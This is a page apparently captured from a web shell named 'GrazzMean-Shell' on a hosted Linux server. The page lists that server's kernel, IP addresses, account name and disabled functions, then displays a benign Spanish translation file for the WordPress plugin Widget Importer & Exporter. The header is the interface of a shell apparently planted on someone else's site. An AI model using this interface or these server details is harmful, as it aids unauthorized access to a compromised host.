shell bypass 403

GrazzMean-Shell Shell

Uname: Linux webm012.cluster130.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue Sep 17 08:14:20 UTC 2024 x86_64
Software: Apache
PHP version: 8.0.30 [ PHP INFO ] PHP os: Linux
Server Ip: 145.239.37.162
Your Ip: 216.73.216.190
User: dreampi (1009562) | Group: users (100)
Safe Mode: OFF
Disable Function:
_dyuweyrj4,_dyuweyrj4r,dl

name : widget-importer-exporter-es_ES.po
# Translation of Plugins - Widget Importer & Exporter - Stable (latest release) in Spanish (Spain)
# This file is distributed under the same license as the Plugins - Widget Importer & Exporter - Stable (latest release) package.
msgid ""
msgstr ""
"PO-Revision-Date: 2020-05-27 11:39:06+0000\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"Plural-Forms: nplurals=2; plural=n != 1;\n"
"X-Generator: GlotPress/4.0.0-alpha.4\n"
"Language: es\n"
"Project-Id-Version: Plugins - Widget Importer & Exporter - Stable (latest release)\n"

#: includes/page.php:90
msgid "Or, <a href=\"#\" id=\"wie-content-toggle\">copy and paste</a> the contents of your <b>.wie</b> file."
msgstr "O <a href=\"#\" id=\"wie-content-toggle\">copia y pega</a> los contenidos de tu archivo <b>.wie</b>."

#: includes/import.php:214
msgid "Import data is invalid."
msgstr "Los datos de importación no son válidos."

#. translators: %1$s is link to resource to help with error
#: includes/import.php:123
msgid "You must upload a <b>.wie</b> file generated by this plugin (<a href=\"%1$s\" target=\"_blank\">help</a>)."
msgstr "Debes subir un archivo <b>.wie</b> generado por este plugin (<a href=\"%1$s\" target=\"_blank\">ayuda</a>)."

#: includes/import.php:47
msgid "You must choose a <b>.wie</b> file to upload or paste its contents."
msgstr "Debes elegir un archivo <b>.wie</b> para subirlo o pegar su contenido."

#: includes/admin.php:79 includes/admin.php:111
msgid "Import/Export"
msgstr "Importar/Exportar"

#. Author URI of the plugin
msgid "https://churchthemes.com"
msgstr "https://churchthemes.com"

#. Author of the plugin
msgid "ChurchThemes.com"
msgstr "ChurchThemes.com"

#. Plugin URI of the plugin
msgid "https://churchthemes.com/plugins/widget-importer-exporter/"
msgstr "https://churchthemes.com/plugins/widget-importer-exporter/"

#. Description of the plugin
msgid "Imports and exports widgets."
msgstr "Importa y exporta widgets."

#. translators: %1$s is URL for widgets screen, %2$s is URL to go back
#: includes/page.php:184
msgid "You can manage your <a href=\"%1$s\">Widgets</a> or <a href=\"%2$s\">Go Back</a>."
msgstr "Puedes gestionar tus <a href=\"%1$s\">widgets</a> o <a href=\"%2$s\">volver atrás</a>."

#: includes/page.php:177
msgctxt "heading"
msgid "Import Results"
msgstr "Resultados de la importación"

#: includes/page.php:132
msgctxt "button"
msgid "Export Widgets"
msgstr "Exportar widgets"

#: includes/page.php:122
msgid "Click below to generate a <b>.wie</b> file for all active widgets."
msgstr "Haz clic el el botón que tienes a continuación para generar un fichero <b>.wie</b>, para todos los widgets activos."

#: includes/page.php:117
msgctxt "heading"
msgid "Export Widgets"
msgstr "Exportar widgets"

#: includes/page.php:106
msgctxt "button"
msgid "Import Widgets"
msgstr "Importar widgets"

#: includes/page.php:73
msgid "Please select a <b>.wie</b> file generated by this plugin."
msgstr "Por favor, selecciona un fichero <b>.wie</b>, generado por este plugin."

#: includes/page.php:62
msgctxt "heading"
msgid "Import Widgets"
msgstr "Importar widgets"

#. Plugin Name of the plugin
#: includes/page.php:24 includes/page.php:25 includes/page.php:46
msgid "Widget Importer & Exporter"
msgstr "Widget Importer & Exporter"

#: includes/import.php:396
msgid "No Title"
msgstr "Sin título"

#: includes/import.php:390
msgid "Imported to Inactive"
msgstr "Importado como inactivo"

#: includes/import.php:387
msgid "Imported"
msgstr "Importado"

#: includes/import.php:313
msgid "Widget already exists"
msgstr "El widget ya existe"

#: includes/import.php:278
msgid "Site does not support widget"
msgstr "El sitio no es compatible con este widget"

#: includes/import.php:256
msgid "Widget area does not exist in theme (using Inactive)"
msgstr "No existe en el tema el área de widgets (se importarán como inactivos)"

#: includes/import.php:178
msgid "Import file could not be found. Please try again."
msgstr "El fichero de importación no ha podido ser encontrado. Por favor, inténtalo de nuevo."
© 2026 GrazzMean-Shell